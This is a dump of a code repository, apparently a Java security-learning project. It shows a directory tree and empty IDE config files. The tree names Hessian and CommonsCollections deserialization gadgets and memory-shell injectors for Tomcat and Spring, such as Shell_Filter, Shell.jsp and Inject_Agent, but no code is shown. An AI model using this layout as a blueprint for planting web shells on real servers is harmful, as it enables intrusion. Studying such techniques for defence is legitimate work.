│ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ └── main │ │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ └── demo │ │ │ │ │ └── provider │ │ │ │ │ ├── bootstrap │ │ │ │ │ └── DubboRegistryNacosProviderBootstrap.java │ │ │ │ │ └── service │ │ │ │ │ └── DefaultDemoService.java │ │ │ │ └── resources │ │ │ │ └── application.properties │ │ ├── dubbo-registry-zookeeper-samples │ │ │ ├── consumer-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ │ └── main │ │ │ │ │ ├── java │ │ │ │ │ └── org │ │ │ │ │ │ └── apache │ │ │ │ │ │ └── dubbo │ │ │ │ │ │ └── spring │ │ │ │ │ │ └── boot │ │ │ │ │ │ └── demo │ │ │ │ │ │ └── consumer │ │ │ │ │ │ └── bootstrap │ │ │ │ │ │ └── DubboRegistryZooKeeperConsumerBootstrap.java │ │ │ │ │ └── resources │ │ │ │ │ └── application.yml │ │ │ ├── pom.xml │ │ │ └── provider-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ └── main │ │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ └── demo │ │ │ │ │ └── provider │ │ │ │ │ ├── bootstrap │ │ │ │ │ └── DubboRegistryZooKeeperProviderBootstrap.java │ │ │ │ │ └── service │ │ │ │ │ └── DefaultDemoService.java │ │ │ │ └── resources │ │ │ │ └── application.properties │ │ ├── externalized-configuration-samples │ │ │ ├── consumer-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ │ └── main │ │ │ │ │ ├── java │ │ │ │ │ └── org │ │ │ │ │ │ └── apache │ │ │ │ │ │ └── dubbo │ │ │ │ │ │ └── spring │ │ │ │ │ │ └── boot │ │ │ │ │ │ └── demo │ │ │ │ │ │ └── consumer │ │ │ │ │ │ └── bootstrap │ │ │ │ │ │ └── DubboExternalizedConfigurationConsumerBootstrap.java │ │ │ │ │ └── resources │ │ │ │ │ └── application.yml │ │ │ ├── pom.xml │ │ │ └── provider-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ └── main │ │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ └── demo │ │ │ │ │ └── provider │ │ │ │ │ ├── bootstrap │ │ │ │ │ └── DubboExternalizedConfigurationProviderBootstrap.java │ │ │ │ │ └── service │ │ │ │ │ └── DefaultDemoService.java │ │ │ │ └── resources │ │ │ │ └── application.properties │ │ ├── pom.xml │ │ └── sample-api │ │ │ ├── pom.xml │ │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── org │ │ │ └── apache │ │ │ └── dubbo │ │ │ └── spring │ │ │ └── boot │ │ │ └── demo │ │ │ └── consumer │ │ │ └── DemoService.java │ ├── dubbo-spring-boot-starter │ │ └── pom.xml │ ├── mvnw │ ├── mvnw.cmd │ └── pom.xml └── dubbo_Learning │ ├── .gitignore │ ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties │ ├── Hessian │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ ├── Class │ │ ├── People.java │ │ ├── Person.java │ │ ├── Student.java │ │ └── Test.java │ │ ├── Hessian │ │ ├── Hessian_JNDI.java │ │ ├── Hessian_Test.java │ │ └── SerialTest.java │ │ ├── Hessian2 │ │ ├── Hessian2_SignedObject.java │ │ ├── Hessian2_TemplatesImpl.java │ │ └── Hessian2_Test.java │ │ ├── Ser_Test.java │ │ └── Tools │ │ ├── Hessian2_Tools.java │ │ ├── Hessian_Tools.java │ │ ├── Make_Map.java │ │ └── Serial.java │ ├── dubbo-api │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── com │ │ └── api │ │ └── IHello.java │ ├── dubbo-consumer │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ └── src │ │ ├── main │ │ ├── java │ │ │ └── com │ │ │ │ └── example │ │ │ │ └── dubboconsumer │ │ │ │ ├── DubboConsumerApplication.java │ │ │ │ └── consumer │ │ │ │ ├── HelloConsumer.java │ │ │ │ └── Hessian_Payload.java │ │ └── resources │ │ │ ├── application.properties │ │ │ └── application.yml │ │ └── test │ │ └── java │ │ └── com │ │ └── example │ │ └── dubboconsumer │ │ └── DubboConsumerApplicationTests.java │ ├── dubbo-provider │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ └── src │ │ ├── main │ │ ├── java │ │ │ └── com │ │ │ │ └── example │ │ │ │ └── dubboprovider │ │ │ │ ├── DubboProviderApplication.java │ │ │ │ └── service │ │ │ │ └── HelloService.java │ │ └── resources │ │ │ ├── application.properties │ │ │ └── application.yml │ │ └── test │ │ └── java │ │ └── com │ │ └── example │ │ └── dubboprovider │ │ └── DubboProviderApplicationTests.java │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ ├── ser.bin │ ├── shell.class │ └── src │ ├── main │ ├── java │ │ └── com │ │ │ └── example │ │ │ └── dubbo_learning │ │ │ └── DubboLearningApplication.java │ └── resources │ │ ├── application.properties │ │ └── application.yml │ └── test │ └── java │ └── com │ └── example │ └── dubbo_learning │ └── DubboLearningApplicationTests.java ├── Java_memShell ├── .idea │ ├── .gitignore │ ├── artifacts │ │ ├── Java_Agent_jar.xml │ │ ├── Java_Hello_jar.xml │ │ ├── SpringMVC_Controller_war_exploded.xml │ │ ├── SpringMVC_Web_war_exploded.xml │ │ ├── Spring_MVC_Controller_war_exploded.xml │ │ └── Spring_MVC_Web_war_exploded.xml │ ├── codeStyles │ │ ├── Project.xml │ │ └── codeStyleConfig.xml │ ├── compiler.xml │ ├── encodings.xml │ ├── jarRepositories.xml │ ├── libraries │ │ ├── Spring_MVC_4_3_18_RELEASE.xml │ │ ├── java.xml │ │ ├── javassist_3_20_0_GA.xml │ │ └── tools.xml │ ├── misc.xml │ ├── runConfigurations.xml │ └── uiDesigner.xml ├── Java_Agent │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── java │ │ │ │ ├── agentmain │ │ │ │ ├── agent │ │ │ │ │ └── Java_Agent_agentmain.java │ │ │ │ └── instrumentation │ │ │ │ │ ├── Java_Agent_agentmain_Instrumentation.java │ │ │ │ │ └── transformer │ │ │ │ │ ├── Filter_Transform.java │ │ │ │ │ ├── Hello_Transform.java │ │ │ │ │ ├── Java_Agent_agentmain_transform.java │ │ │ │ │ └── Java_Agent_agentmain_transform_Filter.java │ │ │ │ ├── inject │ │ │ │ ├── Inject_Agent.java │ │ │ │ └── Inject_Agent_Spring.java │ │ │ │ └── premain │ │ │ │ └── agent │ │ │ │ └── Java_Agent_premain.java │ │ │ └── resources │ │ │ └── META-INF │ │ │ └── MANIFEST.MF │ └── target │ │ └── classes │ │ ├── META-INF │ │ └── MANIFEST.MF │ │ └── com │ │ └── java │ │ ├── agentmain │ │ ├── agent │ │ │ └── Java_Agent_agentmain.class │ │ └── instrumentation │ │ │ ├── Java_Agent_agentmain_Instrumentation.class │ │ │ └── transformer │ │ │ ├── Filter_Transform.class │ │ │ ├── Hello_Transform.class │ │ │ ├── Java_Agent_agentmain_transform.class │ │ │ └── Java_Agent_agentmain_transform_Filter.class │ │ ├── inject │ │ ├── Inject_Agent.class │ │ └── Inject_Agent_Spring.class │ │ └── premain │ │ └── agent │ │ └── Java_Agent_premain.class ├── Java_Agent_SpringBoot │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ └── src │ │ ├── main │ │ ├── java │ │ │ └── com │ │ │ │ └── example │ │ │ │ └── java_agent_springboot │ │ │ │ ├── Hello_Controller.java │ │ │ │ └── JavaAgentSpringBootApplication.java │ │ └── resources │ │ │ └── application.properties │ │ └── test │ │ └── java │ │ └── com │ │ └── example │ │ └── java_agent_springboot │ │ └── JavaAgentSpringBootApplicationTests.java ├── Java_Hello │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ ├── Hello.java │ │ │ ├── Sleep_Hello.java │ │ │ ├── com │ │ │ │ └── sleep │ │ │ │ │ └── hello │ │ │ │ │ └── Sleep_Hello.java │ │ │ └── get_PID.java │ │ │ └── resources │ │ │ └── META-INF │ │ │ └── MANIFEST.MF │ └── target │ │ ├── Java_Hello-1.0-SNAPSHOT.jar │ │ ├── classes │ │ ├── Hello.class │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── Sleep_Hello.class │ │ ├── com │ │ │ └── sleep │ │ │ │ └── hello │ │ │ │ └── Sleep_Hello.class │ │ └── get_PID.class │ │ ├── maven-archiver │ │ └── pom.properties │ │ └── maven-status │ │ └── maven-compiler-plugin │ │ ├── compile │ │ └── default-compile │ │ │ ├── createdFiles.lst │ │ │ └── inputFiles.lst │ │ └── testCompile │ │ └── default-testCompile │ │ └── inputFiles.lst ├── Java_JSP │ ├── pom.xml │ ├── src │ │ └── main │ │ │ └── webapp │ │ │ ├── Filter.jsp │ │ │ ├── Filter_Response.jsp │ │ │ ├── Listener.jsp │ │ │ ├── Servlet.jsp │ │ │ ├── Shell.jsp │ │ │ ├── Valve.jsp │ │ │ ├── WEB-INF │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── Java_JSP.war │ │ └── Java_JSP │ │ ├── Filter.jsp │ │ ├── Filter_Response.jsp │ │ ├── Listener.jsp │ │ ├── META-INF │ │ └── MANIFEST.MF │ │ ├── Servlet.jsp │ │ ├── Shell.jsp │ │ ├── Valve.jsp │ │ ├── WEB-INF │ │ ├── lib │ │ │ ├── tomcat-annotations-api-9.0.55.jar │ │ │ ├── tomcat-api-9.0.55.jar │ │ │ ├── tomcat-catalina-9.0.55.jar │ │ │ ├── tomcat-coyote-9.0.55.jar │ │ │ ├── tomcat-el-api-9.0.55.jar │ │ │ ├── tomcat-jaspic-api-9.0.55.jar │ │ │ ├── tomcat-jni-9.0.55.jar │ │ │ ├── tomcat-jsp-api-9.0.55.jar │ │ │ ├── tomcat-juli-9.0.55.jar │ │ │ ├── tomcat-servlet-api-9.0.55.jar │ │ │ ├── tomcat-util-9.0.55.jar │ │ │ └── tomcat-util-scan-9.0.55.jar │ │ └── web.xml │ │ ├── index.jsp │ │ └── test.jsp ├── Spring │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ └── src │ │ ├── main │ │ ├── java │ │ │ └── com │ │ │ │ └── example │ │ │ │ └── spring │ │ │ │ ├── Application.java │ │ │ │ └── HelloWorld.java │ │ └── resources │ │ │ └── application.properties │ │ └── test │ │ └── java │ │ └── com │ │ └── example │ │ └── spring │ │ └── ApplicationTests.java ├── SpringBoot_Controller │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ └── src │ │ ├── main │ │ ├── java │ │ │ └── com │ │ │ │ └── example │ │ │ │ └── springboot_controller │ │ │ │ ├── SpringBootControllerApplication.java │ │ │ │ └── shell_controller.java │ │ └── resources │ │ │ └── application.properties │ │ └── test │ │ └── java │ │ └── com │ │ └── example │ │ └── springboot_controller │ │ └── SpringBootControllerApplicationTests.java ├── SpringMVC_Controller │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── shell │ │ │ │ └── controller │ │ │ │ ├── Hello_Controller.java │ │ │ │ └── shell_controller.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── SpringMVC_Controller.war │ │ ├── SpringMVC_Controller │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ └── com │ │ │ │ │ └── shell │ │ │ │ │ └── controller │ │ │ │ │ ├── Hello_Controller.class │ │ │ │ │ ├── shell_controller$Controller_Shell.class │ │ │ │ │ └── shell_controller.class │ │ │ ├── lib │ │ │ │ ├── jstl-1.2.jar │ │ │ │ ├── spring-aop-5.3.19.jar │ │ │ │ ├── spring-beans-5.3.19.jar │ │ │ │ ├── spring-context-5.3.19.jar │ │ │ │ ├── spring-core-5.3.19.jar │ │ │ │ ├── spring-expression-5.3.19.jar │ │ │ │ ├── spring-jcl-5.3.19.jar │ │ │ │ ├── spring-web-5.3.19.jar │ │ │ │ ├── spring-webmvc-5.3.19.jar │ │ │ │ └── standard-1.1.2.jar │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ └── com │ │ └── shell │ │ └── controller │ │ ├── Hello_Controller.class │ │ ├── shell_controller$Controller_Shell.class │ │ └── shell_controller.class ├── SpringMVC_Interceptor │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── shell │ │ │ │ └── controller │ │ │ │ └── Inject_Shell_Interceptor_Controller.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── SpringMVC_Interceptor.war │ │ ├── SpringMVC_Interceptor │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ └── com │ │ │ │ │ └── shell │ │ │ │ │ └── controller │ │ │ │ │ ├── Inject_Shell_Interceptor_Controller$Shell_Interceptor.class │ │ │ │ │ └── Inject_Shell_Interceptor_Controller.class │ │ │ ├── lib │ │ │ │ ├── javax.servlet-api-4.0.1.jar │ │ │ │ ├── jstl-1.2.jar │ │ │ │ ├── spring-aop-5.3.19.jar │ │ │ │ ├── spring-beans-5.3.19.jar │ │ │ │ ├── spring-context-5.3.19.jar │ │ │ │ ├── spring-core-5.3.19.jar │ │ │ │ ├── spring-expression-5.3.19.jar │ │ │ │ ├── spring-jcl-5.3.19.jar │ │ │ │ ├── spring-web-5.3.19.jar │ │ │ │ ├── spring-webmvc-5.3.19.jar │ │ │ │ └── standard-1.1.2.jar │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ └── com │ │ └── shell │ │ └── controller │ │ ├── Inject_Shell_Interceptor_Controller$Shell_Interceptor.class │ │ └── Inject_Shell_Interceptor_Controller.class ├── SpringMVC_WEBB │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── controller │ │ │ │ └── test.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── SpringMVC_WEBB.war │ │ ├── SpringMVC_WEBB │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ └── com │ │ │ │ │ └── controller │ │ │ │ │ └── test.class │ │ │ ├── lib │ │ │ │ ├── aopalliance-1.0.jar │ │ │ │ ├── commons-logging-1.2.jar │ │ │ │ ├── jstl-1.2.jar │ │ │ │ ├── spring-aop-4.1.4.RELEASE.jar │ │ │ │ ├── spring-beans-4.1.4.RELEASE.jar │ │ │ │ ├── spring-context-4.1.4.RELEASE.jar │ │ │ │ ├── spring-core-4.1.4.RELEASE.jar │ │ │ │ ├── spring-expression-4.1.4.RELEASE.jar │ │ │ │ ├── spring-web-4.1.4.RELEASE.jar │ │ │ │ ├── spring-webmvc-4.1.4.RELEASE.jar │ │ │ │ └── standard-1.1.2.jar │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ └── com │ │ └── controller │ │ └── test.class ├── Spring_Controller │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── mvnw │ ├── mvnw.cmd │ ├── pom.xml │ └── src │ │ ├── main │ │ ├── java │ │ │ ├── Learn │ │ │ │ └── Context_Learn.java │ │ │ ├── Shell │ │ │ │ └── Shell_Controller.java │ │ │ └── com │ │ │ │ └── example │ │ │ │ └── spring_controller │ │ │ │ ├── Context_Learn.java │ │ │ │ ├── Demo.java │ │ │ │ ├── SpringControllerApplication.java │ │ │ │ └── Spring_Controller.java │ │ └── resources │ │ │ └── application.properties │ │ └── test │ │ └── java │ │ └── com │ │ └── example │ │ └── spring_controller │ │ └── SpringControllerApplicationTests.java ├── Spring_Interceptor │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── shell │ │ │ │ ├── controller │ │ │ │ └── Spring_Controller.java │ │ │ │ └── interceptor │ │ │ │ └── Spring_Interceptor.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── Spring_Interceptor.war │ │ ├── Spring_Interceptor │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ └── com │ │ │ │ │ └── shell │ │ │ │ │ ├── controller │ │ │ │ │ └── Spring_Controller.class │ │ │ │ │ └── interceptor │ │ │ │ │ └── Spring_Interceptor.class │ │ │ ├── lib │ │ │ │ ├── javax.servlet-api-4.0.1.jar │ │ │ │ ├── jstl-1.2.jar │ │ │ │ ├── spring-aop-5.3.19.jar │ │ │ │ ├── spring-beans-5.3.19.jar │ │ │ │ ├── spring-context-5.3.19.jar │ │ │ │ ├── spring-core-5.3.19.jar │ │ │ │ ├── spring-expression-5.3.19.jar │ │ │ │ ├── spring-jcl-5.3.19.jar │ │ │ │ ├── spring-web-5.3.19.jar │ │ │ │ ├── spring-webmvc-5.3.19.jar │ │ │ │ └── standard-1.1.2.jar │ │ │ ├── springmvc.xml │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ └── com │ │ └── shell │ │ ├── controller │ │ └── Spring_Controller.class │ │ └── interceptor │ │ └── Spring_Interceptor.class ├── Tomcat_Filter │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── Filter │ │ │ │ ├── Hello_Filter1.java │ │ │ │ ├── Hello_Filter2.java │ │ │ │ ├── Hello_Servlet.java │ │ │ │ └── Shell_Filter.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── Tomcat_Filter.war │ │ ├── Tomcat_Filter │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ └── Filter │ │ │ │ │ ├── Hello_Filter1.class │ │ │ │ │ ├── Hello_Filter2.class │ │ │ │ │ ├── Hello_Servlet.class │ │ │ │ │ └── Shell_Filter.class │ │ │ ├── lib │ │ │ │ └── javax.servlet-api-4.0.1.jar │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ └── Filter │ │ ├── Hello_Filter1.class │ │ ├── Hello_Filter2.class │ │ ├── Hello_Servlet.class │ │ └── Shell_Filter.class ├── Tomcat_Listener │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ ├── Hello_Servlet.java │ │ │ └── Listener │ │ │ │ ├── Hello_Listener.java │ │ │ │ └── Shell_Listener.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── Tomcat_Listener.war │ │ ├── Tomcat_Listener │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ ├── Hello_Servlet.class │ │ │ │ └── Listener │ │ │ │ │ ├── Hello_Listener.class │ │ │ │ │ └── Shell_Listener.class │ │ │ ├── lib │ │ │ │ └── javax.servlet-api-4.0.1.jar │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ ├── Hello_Servlet.class │ │ └── Listener │ │ ├── Hello_Listener.class │ │ └── Shell_Listener.class ├── Tomcat_Serialize │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ ├── Echo │ │ │ │ ├── Tomcat_Echo.java │ │ │ │ └── Tomcat_Echo_Response.java │ │ │ ├── Gadget │ │ │ │ └── CC3_2.java │ │ │ ├── Tomcat_Echo_memShell │ │ │ │ ├── Tomcat_Echo_inject_Filter.java │ │ │ │ └── Tomcat_Echo_inject_ThreadLocal.java │ │ │ ├── Tools │ │ │ │ └── Base64_Class.java │ │ │ └── Unserial_Servlet.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── Tomcat_Serialize │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ ├── Gadget │ │ │ │ │ └── CC3_2.class │ │ │ │ ├── Tomcat_Echo.class │ │ │ │ ├── Tomcat_Echo_Response.class │ │ │ │ ├── Tomcat_Echo_memShell │ │ │ │ │ ├── Tomcat_Echo_inject_Filter.class │ │ │ │ │ └── Tomcat_Echo_inject_ThreadLocal.class │ │ │ │ ├── Tools │ │ │ │ │ └── Base64_Class.class │ │ │ │ └── Unserial_Servlet.class │ │ │ ├── lib │ │ │ │ ├── commons-collections-3.2.1.jar │ │ │ │ ├── javax.servlet-api-4.0.1.jar │ │ │ │ ├── tomcat-annotations-api-9.0.55.jar │ │ │ │ ├── tomcat-api-9.0.55.jar │ │ │ │ ├── tomcat-catalina-9.0.55.jar │ │ │ │ ├── tomcat-coyote-9.0.55.jar │ │ │ │ ├── tomcat-el-api-9.0.55.jar │ │ │ │ ├── tomcat-jaspic-api-9.0.55.jar │ │ │ │ ├── tomcat-jni-9.0.55.jar │ │ │ │ ├── tomcat-jsp-api-9.0.55.jar │ │ │ │ ├── tomcat-juli-9.0.55.jar │ │ │ │ ├── tomcat-servlet-api-9.0.55.jar │ │ │ │ ├── tomcat-util-9.0.55.jar │ │ │ │ └── tomcat-util-scan-9.0.55.jar │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ ├── Gadget │ │ └── CC3_2.class │ │ ├── Tomcat_Echo_memShell │ │ ├── Tomcat_Echo_inject_Filter.class │ │ └── Tomcat_Echo_inject_ThreadLocal.class │ │ ├── Tools │ │ └── Base64_Class.class │ │ └── Unserial_Servlet.class ├── Tomcat_Servlet │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── Servlet │ │ │ │ ├── Config_Servlet.java │ │ │ │ ├── Context_Servlet.java │ │ │ │ ├── MyServlet.java │ │ │ │ └── Shell_Servlet.java │ │ │ └── webapp │ │ │ ├── WEB-INF │ │ │ └── web.xml │ │ │ └── index.jsp │ └── target │ │ ├── Tomcat_Servlet.war │ │ ├── Tomcat_Servlet │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ │ ├── classes │ │ │ │ └── Servlet │ │ │ │ │ ├── Config_Servlet.class │ │ │ │ │ ├── Context_Servlet.class │ │ │ │ │ ├── MyServlet.class │ │ │ │ │ └── Shell_Servlet.class │ │ │ ├── lib │ │ │ │ └── javax.servlet-api-4.0.1.jar │ │ │ └── web.xml │ │ └── index.jsp │ │ └── classes │ │ └── Servlet │ │ ├── Config_Servlet.class │ │ ├── Context_Servlet.class │ │ ├── MyServlet.class │ │ └── Shell_Servlet.class ├── out │ └── artifacts │ │ ├── Java_Agent_jar │ │ └── Java_Agent.jar │ │ └── Java_Hello_jar │ │ ├── Java_Agent.jar │ │ └── Java_Hello.jar ├── pom.xml └── ser.bin └── README.md /Hessian_Learning/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/Hessian_Learning.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_1_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_2_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_2_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__ch_qos_logback_logback_core_1_1_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__ch_qos_logback_logback_core_1_2_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__ch_qos_logback_logback_core_1_2_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_alibaba_fastjson_1_2_60.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_alibaba_nacos_nacos_api_1_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_alibaba_nacos_nacos_client_1_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_alibaba_nacos_nacos_common_1_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_caucho_hessian_4_0_63.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_fasterxml_classmate_1_3_4.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_fasterxml_classmate_1_5_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_google_code_gson_gson_2_8_5.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_google_code_gson_gson_2_8_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_google_code_gson_gson_2_8_9.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_google_guava_guava_20_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_google_guava_guava_22_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 